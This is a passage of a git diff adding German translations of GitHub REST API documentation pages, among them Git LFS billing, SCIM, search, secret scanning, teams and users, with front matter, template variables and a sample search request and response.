+Die Verwendung von {% data variables.large_files.product_name_short %} ist kostenpflichtig. Weitere Informationen findest du unter [Informationen zur Abrechnung für {% data variables.large_files.product_name_long %}](/billing/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage).
+
+Wenn du die {% data variables.large_files.product_name_short %}-API für ein Repository nutzen möchtest, das einer Organisation angehört, musst du mit deiner Rolle auf die Abrechnung der Organisation{% ifversion ghec %} oder des Unternehmens{% endif %} zugreifen können.{% ifversion fpt %} Weitere Informationen findest du unter [Rollen in einer Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#organization-owners).{% endif %}
+
+{% ifversion ghec %}
+
+| Repositorybesitz | Erforderlicher Repositoryzugriff | Erforderliche Rolle | Weitere Informationen |
+| :- | :- | :- | :- |
+| Persönliches Konto | Administrator | – | – |
+| <ul><li>Organisation auf {% data variables.product.prodname_team %}</li><li>Organisation auf {% data variables.product.product_name %}, aber nicht in einem Unternehmen</li></ul> | Administrator (wird geerbt, wenn du Besitzer einer Organisation bist) | Organisationsbesitzer oder Abrechnungsmanager | [Rollen in einer Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#organization-owners) |
+| Organisation in einem Unternehmen | Administrator (kann geerbt werden, wenn du Besitzer einer Organisation bist) | Unternehmensbesitzer oder Abrechnungsmanager | [Rollen in einem Unternehmen](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owners) |
+
+{% endif %}
+
+{% endif %}
diff --git a/translations/de-DE/content/rest/repos/repos.md b/translations/de-DE/content/rest/repos/repos.md
new file mode 100644
index 0000000000..b2302a535b
--- /dev/null
+++ b/translations/de-DE/content/rest/repos/repos.md
@@ -0,0 +1,20 @@
+---
+title: Repositorys
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 090fee9edf9591339433728da9427162a635fb03
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147877042'
+---
+
diff --git a/translations/de-DE/content/rest/repos/tags.md b/translations/de-DE/content/rest/repos/tags.md
new file mode 100644
index 0000000000..fac66604d7
--- /dev/null
+++ b/translations/de-DE/content/rest/repos/tags.md
@@ -0,0 +1,20 @@
+---
+title: Repositorytags
+allowTitleToDifferFromFilename: true
+shortTitle: Tags
+intro: ''
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3.4'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: a33889024d8a2cb10e3aa5a4b34f25a416db54a1
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147882351'
+---
+
diff --git a/translations/de-DE/content/rest/scim.md b/translations/de-DE/content/rest/scim.md
new file mode 100644
index 0000000000..cc680f5db1
--- /dev/null
+++ b/translations/de-DE/content/rest/scim.md
@@ -0,0 +1,55 @@
+---
+title: SCIM
+intro: You can control and manage your GitHub organization members access using SCIM API.
+versions:
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /rest/reference/scim
+---
+
+## About the SCIM API
+
+### SCIM Provisioning for Organizations
+
+The SCIM API is used by SCIM-enabled Identity Providers (IdPs) to automate provisioning of {% data variables.product.product_name %} organization membership. The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API is based on version 2.0 of the [SCIM standard](http://www.simplecloud.info/). The {% data variables.product.product_name %} SCIM endpoint that an IdP should use is: `{% data variables.product.api_url_code %}/scim/v2/organizations/{org}/`.
+
+{% note %}
+
+**Notes:** 
+  - The SCIM API is available only for individual organizations that use [{% data variables.product.prodname_ghe_cloud %}](/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts) with [SAML SSO](/rest/overview/other-authentication-methods#authenticating-for-saml-sso) enabled. For more information about SCIM, see "[About SCIM for organizations](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations)."
+  - The SCIM API cannot be used with an enterprise account or with an {% data variables.enterprise.prodname_emu_org %}.
+
+{% endnote %}
+
+### Authenticating calls to the SCIM API
+
+You must authenticate as an owner of a {% data variables.product.product_name %} organization to use its SCIM API. The API expects an [OAuth 2.0 Bearer](/developers/apps/authenticating-with-github-apps) token to be included in the `Authorization` header. If you use a {% data variables.product.pat_v1 %} for authentication, it must have the `admin:org` scope and you must also [authorize it for use with your SAML SSO organization](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on).
+
+### Mapping of SAML and SCIM data
+
+{% data reusables.scim.nameid-and-username-must-match %}
+
+### Supported SCIM User attributes
+
+Name | Type | Description
+-----|------|--------------
+`userName`|`string` | The username for the user.
+`name.givenName`|`string` | The first name of the user.
+`name.familyName`|`string` | The last name of the user.
+`emails` | `array` | List of user emails.
+`externalId` | `string` | This identifier is generated by the SAML provider, and is used as a unique ID by the SAML provider to match against a GitHub user. You can find the `externalID` for a user either at the SAML provider, or using the [List SCIM provisioned identities](#list-scim-provisioned-identities) endpoint and filtering on other known attributes, such as a user's GitHub username or email address.
+`id` | `string` | Identifier generated by the GitHub SCIM endpoint.
+`active` | `boolean` | Used to indicate whether the identity is active (true) or should be deprovisioned (false).
+
+{% note %}
+
+**Note:** Endpoint URLs for the SCIM API are case sensitive. For example, the first letter in the `Users` endpoint must be capitalized:
+
+```shell
+GET /scim/v2/organizations/{org}/Users/{scim_user_id}
+```
+
+{% endnote %}
diff --git a/translations/de-DE/content/rest/search.md b/translations/de-DE/content/rest/search.md
new file mode 100644
index 0000000000..d627ad6537
--- /dev/null
+++ b/translations/de-DE/content/rest/search.md
@@ -0,0 +1,172 @@
+---
+title: 'Suchen,'
+intro: 'Mit der Such-API kannst du auf {% data variables.product.product_name %} nach bestimmten Elementen suchen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /rest/reference/search
+ms.openlocfilehash: 71f21fc712f7c2121b780d79d20eb9615ad82c90
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147110361'
+---
+## Informationen zur Such-API
+
+Die Such-API hilft dir bei der Suche nach dem spezifischen Element, das du finden möchtest. Sie können beispielsweise bestimmte Benutzer*innen oder Dateien in einem Repository suchen. Sie können sich die Such-API wie eine Google-Suche vorstellen. Sie ist so konzipiert, dass du das eine Ergebnis findest, nach dem du suchst (oder vielleicht die wenigen Ergebnisse, nach denen du suchst). Wie bei der Google-Suche möchtest du manchmal einige Seiten mit Suchergebnissen anzeigen, damit du das Element finden kannst, das deine Anforderungen am besten erfüllt. Dafür bietet die {% data variables.product.product_name %}-Such-API **bis zu 1.000 Ergebnisse für jede Suche**.
+
+Du kannst deine Suche mithilfe von Abfragen einschränken. Weitere Informationen zur Syntax der Suchabfrage findest du unter [Erstellen einer Suchabfrage](/rest/reference/search#constructing-a-search-query).
+
+### Sortieren von Suchergebnissen nach Rang
+
+Wenn keine andere Sortieroption als Abfrageparameter bereitgestellt wird, werden die Ergebnisse nach der besten Übereinstimmung in absteigender Reihenfolge sortiert. Mehrere Faktoren werden kombiniert, um das relevanteste Element an den Anfang der Ergebnisliste zu bringen.
+
+### Rate Limit
+
+{% data reusables.enterprise.rate_limit %}
+
+Die Such-API verfügt über eine benutzerdefinierte Ratenbegrenzung. Für Anforderungen mit der [Standardauthentifizierung](/rest#authentication), [OAuth](/rest#authentication) oder [Client-ID und Geheimnis](/rest#increasing-the-unauthenticated-rate-limit-for-oauth-applications) kannst du bis zu 30 Anforderungen pro Minute senden. Für nicht authentifizierte Anforderungen ermöglicht die Ratenbegrenzung bis zu 10 Anforderungen pro Minute.
+
+Weitere Informationen zum Bestimmen des aktuellen Ratenbegrenzungsstatus findest du in der [Dokumentation zur Ratenbegrenzung](/rest/reference/rate-limit).
+
+### Erstellen einer Suchabfrage
+
+Jeder Endpunkt in der Such-API verwendet [Abfrageparameter](https://en.wikipedia.org/wiki/Query_string), um Suchvorgänge für {% data variables.product.product_name %} auszuführen. Im jeweiligen Endpunkt in der Such-API findest du ein Beispiel, das den Endpunkt und die Abfrageparameter enthält.
+
+Eine Abfrage kann eine beliebige Kombination aus Suchqualifizierern enthalten, die für {% data variables.product.product_name %} unterstützt werden. Das Format der Suchabfrage lautet:
+
+```
+SEARCH_KEYWORD_1 SEARCH_KEYWORD_N QUALIFIER_1 QUALIFIER_N
+```
+
+Wenn du beispielsweise nach allen _Repositorys_ von `defunkt` suchen möchtest, die die Wörter `GitHub` und `Octocat` in der README-Datei enthalten, verwende die folgende Abfrage mit dem Endpunkt _Durchsuchen von Repositorys_:
+
+```
+GitHub Octocat in:readme user:defunkt
+```
+
+**Hinweis:** Stelle sicher, dass du den bevorzugten HTML-Encoder deiner Sprache verwendest, um deine Abfragezeichenfolgen zu erstellen. Beispiel:
+```javascript
+// JavaScript
+const queryString = 'q=' + encodeURIComponent('GitHub Octocat in:readme user:defunkt');
+```
+
+In [Suchen auf GitHub](/search-github/searching-on-github) findest du eine vollständige Liste der verfügbaren Qualifizierer, ihr Format und ein Beispiel für ihre Verwendung. Informationen zum Verwenden von Operatoren zum Suchen von Übereinstimmungen mit bestimmten Mengen oder Datumsangaben oder zum Ausschließen von Ergebnissen findest du unter [Grundlegendes zur Suchsyntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax/).
+
+### Einschränkungen der Abfragelänge
+
+Die Such-API unterstützt keine Abfragen, die:
+- länger als 256 Zeichen sind (ausschließlich Operatoren oder Qualifizierern)
+- über mehr als fünf `AND`-, `OR`- oder `NOT`-Operatoren verfügen
+
+Diese Suchabfragen geben eine Fehlermeldung „Überprüfung fehlgeschlagen“ zurück.
+
+### Timeouts und unvollständige Ergebnisse
+
+Damit die Such-API für jeden schnell bleibt, wird die Dauer einer einzelnen Abfrage begrenzt. Für Abfragen, die [das Zeitlimit überschreiten](https://developer.github.com/changes/2014-04-07-understanding-search-results-and-potential-timeouts/), gibt die API die Übereinstimmungen zurück, die bereits vor dem Timeout gefunden wurden, und in der Antwort ist die `incomplete_results`-Eigenschaft auf `true` festgelegt.
+
+Das Erreichen des Zeitlimits bedeutet jedoch nicht in jedem Fall, dass die Suchergebnisse unvollständig sind.
+Es kann sein, dass weitere Ergebnisse gefunden wurden.
+
+### Zugriffsfehler oder fehlende Suchergebnisse
+
+Du musst dich erfolgreich authentifizieren und Zugriff auf die Repositorys in deinen Suchabfragen haben. Andernfalls wird ein `422 Unprocessable Entry`-Fehler mit einer Meldung „Überprüfung fehlgeschlagen“ angezeigt. Die Suche schlägt beispielsweise fehl, wenn deine Abfrage `repo:`-, `user:`- oder `org:`-Qualifizierer enthält, die Ressourcen anfordern, auf die du keinen Zugriff hast, wenn du dich bei {% data variables.product.prodname_dotcom %} anmeldest.
+
+Wenn deine Suchabfrage mehrere Ressourcen anfordert, enthält die Antwort nur die Ressourcen, auf die du Zugriff hast, und stellt **keine** Fehlermeldung bereit, die die Ressourcen enthält, die nicht zurückgegeben wurden.
+
+Wenn deine Suchabfrage z. B. nach den Repositorys `octocat/test` und `codertocat/test` sucht, du aber nur Zugriff auf `octocat/test` hast, zeigt deine Antwort Suchergebnisse für `octocat/test` und nichts für `codertocat/test`. Dieses Verhalten simuliert, wie die Suche auf {% data variables.product.prodname_dotcom %} funktioniert.
+
+### Metadaten für Textübereinstimmung
+
+Auf GitHub kannst du den Kontext verwenden, der von Codeausschnitten und Hervorhebungen in Suchergebnissen bereitgestellt wird. Die Such-API bietet zusätzliche Metadaten, mit denen du die übereinstimmenden Suchbegriffe beim Anzeigen von Suchergebnissen hervorheben kannst.
+
+![Hervorhebung von Codeausschnitten](/assets/images/text-match-search-api.png)
+
+Für Anforderungen besteht die Option, diese Textfragmente in der Antwort zu erhalten, und jedes Fragment wird von numerischen Offsets begleitet, die die genaue Position jedes übereinstimmenden Suchbegriffs identifizieren.
+
+Gib zum Abrufen dieser Metadaten in deinen Suchergebnissen den `text-match`-Medientyp in deiner `Accept`-Kopfzeile an.
+
+```shell
+application/vnd.github.text-match+json
+```
+
+Wenn du den `text-match`-Medientyp bereitstellst, erhältst du einen zusätzlichen Schlüssel namens `text_matches` in der JSON-Nutzlast, der Informationen über die Position deiner Suchbegriffe innerhalb des Texts und die `property` bereitstellt, die den Suchbegriff enthält. Innerhalb des `text_matches`-Arrays enthält jedes Objekt die folgenden Attribute:
+
+Name | BESCHREIBUNG
+-----|-----------|
+`object_url` | Die URL für die Ressource, die eine Zeichenfolgeneigenschaft enthält, die einem der Suchbegriffe entspricht.
+`object_type` | Der Name für den Typ der Ressource, die in der angegebenen `object_url` vorhanden ist.
+`property` | Der Name einer Eigenschaft der Ressource, die in der `object_url` vorhanden ist. Diese Eigenschaft ist eine Zeichenfolge, die einem der Suchbegriffe entspricht. (In der von `object_url` zurückgegebenen JSON wird der vollständige Inhalt für das `fragment` in der Eigenschaft mit diesem Namen gefunden.)
+`fragment` | Eine Teilmenge des Werts von `property`. Dies ist das Textfragment, das einem oder mehreren Suchbegriffen entspricht.
+`matches` | Ein Array eines oder mehrerer Suchbegriffe, die in `fragment` vorhanden sind. Die Indizes (d. h. „Offsets“) sind relativ zum Fragment. (Sie sind nicht relativ zum _vollständigen_ Inhalt von `property`.)
+
+#### Beispiel
+
+Mit cURL und dem obigen [Beispiel für die Suche nach einem Issue](#search-issues-and-pull-requests) würde die API-Anforderung wie folgt aussehen:
+
+``` shell
+curl -H 'Accept: application/vnd.github.text-match+json' \
+'{% data variables.product.api_url_pre %}/search/issues?q=windows+label:bug \
++language:python+state:open&sort=created&order=asc'
+```
+
+Die Antwort enthält ein `text_matches`-Array für jedes Suchergebnis. Im folgenden JSON haben wir zwei Objekte im `text_matches`-Array.
+
+Die erste Textübereinstimmung ist in der `body`-Eigenschaft des Issues aufgetreten. Es wird ein Fragment aus dem Issuetext angezeigt. Der Suchbegriff (`windows`) wird zweimal innerhalb dieses Fragments angezeigt, und wir haben die Indizes für jedes Vorkommen.
+
+Die zweite Textübereinstimmung ist in der `body`-Eigenschaft eines der Issuekommentare aufgetreten. Wir haben die URL für den Issuekommentar. Und natürlich sehen wir ein Fragment aus dem Kommentartext. Der Suchbegriff (`windows`) wird einmal innerhalb dieses Fragments angezeigt.
+
+```json
+{
+  "text_matches": [
+    {
+      "object_url": "https://api.github.com/repositories/215335/issues/132",
+      "object_type": "Issue",
+      "property": "body",
+      "fragment": "comprehensive windows font I know of).\n\nIf we can find a commonly
+      distributed windows font that supports them then no problem (we can use html
+      font tags) but otherwise the '(21)' style is probably better.\n",
+      "matches": [
+        {
+          "text": "windows",
+          "indices": [
+            14,
+            21
+          ]
+        },
+        {
+          "text": "windows",
+          "indices": [
+            78,
+            85
+          ]
+        }
+      ]
+    },
+    {
+      "object_url": "https://api.github.com/repositories/215335/issues/comments/25688",
+      "object_type": "IssueComment",
+      "property": "body",
+      "fragment": " right after that are a bit broken IMHO :). I suppose we could
+      have some hack that maxes out at whatever the font does...\n\nI'll check
+      what the state of play is on Windows.\n",
+      "matches": [
+        {
+          "text": "Windows",
+          "indices": [
+            163,
+            170
+          ]
+        }
+      ]
+    }
+  ]
+}
+```
diff --git a/translations/de-DE/content/rest/secret-scanning.md b/translations/de-DE/content/rest/secret-scanning.md
new file mode 100644
index 0000000000..993781c73a
--- /dev/null
+++ b/translations/de-DE/content/rest/secret-scanning.md
@@ -0,0 +1,29 @@
+---
+title: Geheime Überprüfung
+intro: 'Verwende die Geheimnisüberprüfung-API, um geheime Warnungen aus einem Repository abzurufen und zu aktualisieren.'
+versions:
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /rest/reference/secret-scanning
+ms.openlocfilehash: d17aa63bb3d7e71adb310c66cabb05a83776b78f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147880124'
+---
+{% data reusables.secret-scanning.api-beta %}
+
+## Informationen zur API für die Geheimnisüberprüfung
+
+Die {% data variables.product.prodname_secret_scanning %}-API ermöglicht dir:
+
+- Aktivieren oder Deaktivieren des {% data variables.product.prodname_secret_scanning %}{% ifversion secret-scanning-push-protection %} und des Pushschutzes{% endif %} für ein Repository. Weitere Informationen findest du unter [Repositorys](/rest/repos/repos#update-a-repository). Erweitere den Abschnitt „Eigenschaften des `security_and_analysis`-Objekts“ in der REST-API-Dokumentation.
+- Abrufen und Aktualisieren von {% data variables.product.prodname_secret_scanning_GHAS %}-Warnungen aus einem Repository. Weitere Details findest du in den folgenden Abschnitten.
+
+Weitere Informationen zum {% data variables.product.prodname_secret_scanning %} findest du unter [Informationen zum {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning).
diff --git a/translations/de-DE/content/rest/teams/discussion-comments.md b/translations/de-DE/content/rest/teams/discussion-comments.md
new file mode 100644
index 0000000000..7b5609bbf0
--- /dev/null
+++ b/translations/de-DE/content/rest/teams/discussion-comments.md
@@ -0,0 +1,25 @@
+---
+title: Teamdiskussionskommentare
+allowTitleToDifferFromFilename: true
+shortTitle: Discussion comments
+intro: 'Mit der Kommentar-API für Teamdiskussionen kannst du Kommentare zu einem [Teamdiskussionsbeitrag](/rest/reference/teams#discussions) abrufen, erstellen, bearbeiten und löschen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: bbd5abb5411a5292dc759f9595d89dcabd25c2f8
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147884453'
+---
+## Informationen zur Teamdiskussionskommentar-API
+
+Jedes Mitglied der [Organisation](/rest/reference/orgs) des Teams kann Kommentare zu einer öffentlichen Diskussion erstellen und lesen. Weitere Details findest du unter [Informationen zu Teamdiskussionen](/organizations/collaborating-with-your-team/about-team-discussions/). 
+
+{% data reusables.organizations.team-api %}
diff --git a/translations/de-DE/content/rest/teams/discussions.md b/translations/de-DE/content/rest/teams/discussions.md
new file mode 100644
index 0000000000..522f8d4927
--- /dev/null
+++ b/translations/de-DE/content/rest/teams/discussions.md
@@ -0,0 +1,25 @@
+---
+title: Diskussionen im Team
+allowTitleToDifferFromFilename: true
+shortTitle: Discussions
+intro: 'Mit der API für Teamdiskussionen kannst du Diskussionsbeiträge auf der Seite eines Teams abrufen, erstellen, bearbeiten und löschen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 3f8c2b05699622a9fe4e8f2ba542cad2dd9f4682
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147060554'
+---
+## Informationen zur API für Teamdiskussionen
+
+Du kannst Teamdiskussionen für Konversationen nutzen, die nicht für ein bestimmtes Repository oder Projekt spezifisch sind. Jedes Mitglied der [Organisation](/rest/reference/orgs) des Teams kann öffentliche Diskussionsbeiträge erstellen und lesen. Weitere Details findest du unter [Informationen zu Teamdiskussionen](//organizations/collaborating-with-your-team/about-team-discussions/). Weitere Informationen zum Kommentieren eines Diskussionsbeitrags findest du im Artikel zur [API für Teamdiskussionsbeiträge](/rest/reference/teams#discussion-comments).
+
+{% data reusables.organizations.team-api %}
diff --git a/translations/de-DE/content/rest/teams/external-groups.md b/translations/de-DE/content/rest/teams/external-groups.md
new file mode 100644
index 0000000000..73e54553a9
--- /dev/null
+++ b/translations/de-DE/content/rest/teams/external-groups.md
@@ -0,0 +1,29 @@
+---
+title: Externe Gruppen
+intro: 'Mit der API für externe Gruppen kannst du die Gruppen externer Identitätsanbieter anzeigen, die für deine Organisation verfügbar sind, und die Verbindung zwischen externen Gruppen und Teams in deiner Organisation verwalten.'
+versions:
+  ghae: '*'
+  ghec: '*'
+  ghes: '>=3.6'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 0958aad779e6ec1044b74d3f6d67b2d7fff8aef0
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147710371'
+---
+## Informationen zur API für externe Gruppen
+
+Um diese API verwenden zu können, müssen authentifizierte Benutzer*innen entweder Teamverwalter*innen oder Besitzer*innen der Organisation sein, die dem Team zugeordnet ist.
+
+{% ifversion ghec %} {% note %}
+
+**Hinweise:** 
+
+- Die API für externe Gruppen ist nur für Organisationen verfügbar, die Teil eines Unternehmens sind, das {% data variables.product.prodname_emus %} verwendet. Weitere Informationen findest du unter [Informationen zu Enterprise Managed Users](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users).
+- Wenn deine Organisation die Teamsynchronisierung verwendet, kannst du die Teamsynchronisierung-API nutzen. Weitere Informationen findest du unter [API für die Teamsynchronisierung](#team-synchronization).
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/content/rest/teams/index.md b/translations/de-DE/content/rest/teams/index.md
new file mode 100644
index 0000000000..aa27e2b451
--- /dev/null
+++ b/translations/de-DE/content/rest/teams/index.md
@@ -0,0 +1,29 @@
+---
+title: Teams
+intro: 'Mit der Teams-API kannst du Teams in deiner {% data variables.product.product_name %}-Organisation erstellen und verwalten.'
+redirect_from:
+  - /v3/teams
+  - /rest/reference/teams
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /teams
+  - /discussion-comments
+  - /discussions
+  - /external-groups
+  - /members
+  - /team-sync
+ms.openlocfilehash: 82e6b0f69bc639d6a7423fb2bda2a2e33e208e63
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147062842'
+---
+
diff --git a/translations/de-DE/content/rest/teams/members.md b/translations/de-DE/content/rest/teams/members.md
new file mode 100644
index 0000000000..0ec3d6da75
--- /dev/null
+++ b/translations/de-DE/content/rest/teams/members.md
@@ -0,0 +1,31 @@
+---
+title: Teammitglieder
+allowTitleToDifferFromFilename: true
+shortTitle: Members
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 9f2e4a1bee298bddf1d1712c78b2bac41f15c27e
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147879003'
+---
+## Informationen zur Teammitglieder-API
+
+{% data reusables.organizations.team-api %}
+
+{% ifversion fpt or ghes or ghec %} {% note %}
+
+**Hinweis:** Wenn du die Teamsynchronisierung für ein Team mit dem Identitätsanbieter (IdP) deiner Organisation eingerichtet hast, wird ein Fehler angezeigt, wenn du versuchst, die API für Änderungen an der Teammitgliedschaft zu verwenden. Wenn du über Zugriffsberechtigungen für die Verwaltung von Gruppenmitgliedschaften in deinem IdP verfügst, kannst du GitHub-Teammitgliedschaften über deinen Identitätsanbieter verwalten, der automatisch Teammitglieder in einer Organisation hinzufügt und entfernt. Weitere Informationen findest du unter [Synchronisieren von Teams zwischen deinem Identitätsanbieter und GitHub](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization).
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/content/rest/teams/team-sync.md b/translations/de-DE/content/rest/teams/team-sync.md
new file mode 100644
index 0000000000..83a7cfda33
--- /dev/null
+++ b/translations/de-DE/content/rest/teams/team-sync.md
@@ -0,0 +1,22 @@
+---
+title: Team synchronization
+intro: 'The Team synchronization API allows you to manage connections between {% data variables.product.product_name %} teams and external identity provider (IdP) groups.'
+versions:
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+---
+
+## About the Team synchronization API
+
+To use this API, the authenticated user must be a team maintainer or an owner of the organization associated with the team. The token you use to authenticate will also need to be authorized for use with your IdP (SSO) provider. For more information, see "[Authorizing a {% data variables.product.pat_generic %} for use with a SAML single sign-on organization](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)."
+
+You can manage GitHub team members through your IdP with team synchronization. Team synchronization must be enabled to use the Team Synchronization API. For more information, see "[Synchronizing teams between your identity provider and GitHub](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)."
+
+{% note %}
+
+**Note:** The Team Synchronization API cannot be used with {% data variables.product.prodname_emus %}. To learn more about managing an {% data variables.enterprise.prodname_emu_org %}, see "[External groups API](/enterprise-cloud@latest/rest/reference/teams#external-groups)".
+
+{% endnote %}
diff --git a/translations/de-DE/content/rest/teams/teams.md b/translations/de-DE/content/rest/teams/teams.md
new file mode 100644
index 0000000000..246d067407
--- /dev/null
+++ b/translations/de-DE/content/rest/teams/teams.md
@@ -0,0 +1,21 @@
+---
+title: Teams
+intro: Mit der Teams-API kannst du Teams in deiner GitHub-Organisation erstellen und verwalten.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: e81144e2a4141195d67b16dcf80bfa47da2285e5
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145106135'
+---
+## Informationen zur Teams-API
+
+{% data reusables.organizations.team-api %}
diff --git a/translations/de-DE/content/rest/users/blocking.md b/translations/de-DE/content/rest/users/blocking.md
new file mode 100644
index 0000000000..c7c4c10e58
--- /dev/null
+++ b/translations/de-DE/content/rest/users/blocking.md
@@ -0,0 +1,20 @@
+---
+title: Blockieren von Benutzern
+intro: ''
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 43b4e68badd17dbaee45dbbcec8ce2399378064d
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145106128'
+---
+## Informationen zur API zum Blockieren von Benutzer*innen
+
+{% data reusables.user-settings.user-api %}
diff --git a/translations/de-DE/content/rest/users/emails.md b/translations/de-DE/content/rest/users/emails.md
new file mode 100644
index 0000000000..eef89385af
--- /dev/null
+++ b/translations/de-DE/content/rest/users/emails.md
@@ -0,0 +1,22 @@
+---
+title: E-Mails
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 49ecbb44ca483e1bb1bdd2f4e4032c433c3b89d3
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147878996'
+---
+## Informationen zur E-Mail-API
+
+Die Verwaltung von E-Mail-Adressen über die API erfordert, dass du dich über die Standardauthentifizierung oder über OAuth mit einem korrekten Bereich für den Endpunkt authentifizierst.
+
+{% data reusables.user-settings.user-api %}
diff --git a/translations/de-DE/content/rest/users/followers.md b/translations/de-DE/content/rest/users/followers.md
new file mode 100644
index 0000000000..3d9ddf9663
--- /dev/null
+++ b/translations/de-DE/content/rest/users/followers.md
@@ -0,0 +1,21 @@
+---
+title: Follower
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 9f3361aebe592fef7e93223ca9e7d60a9da3c0d8
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147879179'
+---
+## Informationen zur Follower-API
+
+{% data reusables.user-settings.user-api %}
diff --git a/translations/de-DE/content/rest/users/gpg-keys.md b/translations/de-DE/content/rest/users/gpg-keys.md
new file mode 100644
index 0000000000..376a902cc4
--- /dev/null
+++ b/translations/de-DE/content/rest/users/gpg-keys.md
@@ -0,0 +1,23 @@
+---
+title: GPG-Schlüssel
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
